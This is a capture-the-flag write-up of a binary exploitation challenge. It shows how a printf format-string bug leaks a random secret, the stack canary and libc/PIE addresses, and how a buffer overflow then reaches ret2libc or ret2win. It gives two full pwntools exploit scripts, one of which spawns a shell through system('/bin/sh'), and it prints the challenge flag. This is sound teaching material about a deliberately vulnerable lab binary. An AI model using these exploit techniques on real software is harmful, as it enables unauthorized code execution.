Exploit read primitive of printf() to leak random secret, canary, LIBC and PIE addresses, followed by a Buffer Overflow that leads to ret2win.
Challenge Overview
This challenge is almost identical to SiberSiaga 2023: Password Generator where we have a Format String Vulnerability to defeat Stack Canary & PIE, which then leads to a Buffer Overflow. However, this challenge introduces a twist by using a randomly generated secret. This write-up will mainly focus on leaking the secret.
Taking a look at the provided files, we understand that the SECRET is generated randomly at runtime using /dev/null.
#!/bin/sh
# Generate a new random SECRET_MESSAGE for each connection
export SECRET_MESSAGE=$(openssl rand -hex 4 2>/dev/null)
# Start socat
exec socat -T 30 TCP-LISTEN:10001,reuseaddr,fork EXEC:/home/pakmat_burger/pakmat_burger
The Dockerfile shows that the start.sh script is executed when the Docker container is built, instead of side-loading the execution to xinetd. This means that the SECRET will stay the same throughout connections, and only differ when the container is re-built. (Think of it like a PRNG with a known seed)
FROM ubuntu:22.04
ENV user pakmat_burger
ENV chall_port 10001
RUN apt-get update
RUN apt-get -y install socat
RUN apt-get -y install openssl
RUN adduser $user
WORKDIR /home/$user
ADD $user /home/$user/$user
ADD flag.txt /home/$user/flag.txt
RUN chown -R root:$user /home/$user
RUN chown root:$user /home/$user/flag.txt
RUN chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag.txt
COPY start.sh /usr/local/bin/start.sh
RUN chmod +x /usr/local/bin/start.sh
USER $user
EXPOSE $chall_port
CMD ["/usr/local/bin/start.sh"]
Leaking Secret
To find the location of the secret, we can enter a hardcoded secret and debug the program locally. Since PIE is enabled, I placed the 1st breakpoint at main to let GDB resolve the PIE base.
Then, place a 2nd breakpoint right after the program is done loading SECRET from environment variables.
Since the SECRET is located on the top of the stack, and we know that there are 6 registers rdi; rsi; rdx; rcx; r8; r9 that comes before the stack based on the calling convention.
This means that we can leak the SECRET through the 7th argument, or %6$s precisely (-1 due to indexing).
Solution
Since scanf limits our input to 11 characters, it thwarts our attempt to leak all 3 values of SECRET + CANARY + LIBC/PIE at once.
Thankfully, the SECRET value is always the same for all connections made to the remote instance. As a workaround, we can leak the SECRET in 1st connection, disconnect; and then leak the remaining values during the 2nd connection.
Method 1: ret2libc
Since there are ROP Gadgets available, leaking PIE is optional. We can just leak SECRET + CANARY + LIBC to perform a ret2libc attack.
Flag: wgmy{4a029bf40a28039c8492acfa866f8d96}
Method 2: ret2win
As an alternative, there is a win function called secret_order.
If we were to use this win function, we need to leak PIE instead of LIBC.
Flag: wgmy{4a029bf40a28039c8492acfa866f8d96}
Final Script
Method 1
solve.py
#!/usr/bin/python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
def leak_secret():
io = start()
io.recvuntil(b"name: ")
io.sendline(b'%6$s')
io.recvuntil(b" ")
result = io.recvuntil(b": ")
secret = result[0:-47].strip()
print(secret)
io.close()
return secret
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
piebase
'''.format(**locals())
# Binary filename
exe = './pakmat_burger'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# secret at 6
# canary leak at 13
# libc leak at 5
secret = leak_secret()
io = start()
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil(b"name: ")
io.sendline(b'%13$p:%5$p')
result = io.recvuntil(b": ")
leak = result[3:-47].strip()
print(leak)
canary = int(leak.strip().split(b':')[0], 16)
libc.address = int(leak.strip().split(b':')[1], 16) - 0x1d2a80
log.info("Canary: %s" % hex(canary))
log.info("LIBC: %s" % hex(libc.address))
rop = ROP(libc)
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]
io.sendline(secret)
io.sendlineafter(b"order?", b"junk")
payload = flat([
37 * b'A',
canary,
8 * b'A',
pop_rdi,
next(libc.search(b'/bin/sh')),
ret,
libc.sym['system'],
])
io.sendlineafter(b"soon:", payload)
io.interactive()
Method 2
solve.py
#!/usr/bin/python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
def leak_secret():
io = start()
io.recvuntil(b"name: ")
io.sendline(b'%6$s')
io.recvuntil(b" ")
result = io.recvuntil(b": ")
secret = result[0:-47].strip()
print(secret)
io.close()
return secret
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
piebase
'''.format(**locals())
# Binary filename
exe = './pakmat_burger'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# secret at 6
# canary leak at 13
# pie leak at 17
secret = leak_secret()
io = start()
io.recvuntil(b"name: ")
io.sendline(b'%13$p:%17$p')
result = io.recvuntil(b": ")
leak = result[3:-47].strip()
print(leak)
canary = int(leak.strip().split(b':')[0], 16)
elf.address = int(leak.strip().split(b':')[1], 16) - elf.sym["main"]
log.info("Canary: %s" % hex(canary))
log.info("Base: %s" % hex(elf.address))
rop = ROP(elf)
ret = (rop.find_gadget(['ret']))[0]
io.sendline(secret)
io.sendlineafter(b"order?", b"junk")
payload = flat([
37 * b'A',
canary,
8 * b'A',
ret,
elf.sym["secret_order"]
])
io.sendlineafter(b"soon:", payload)
io.interactive()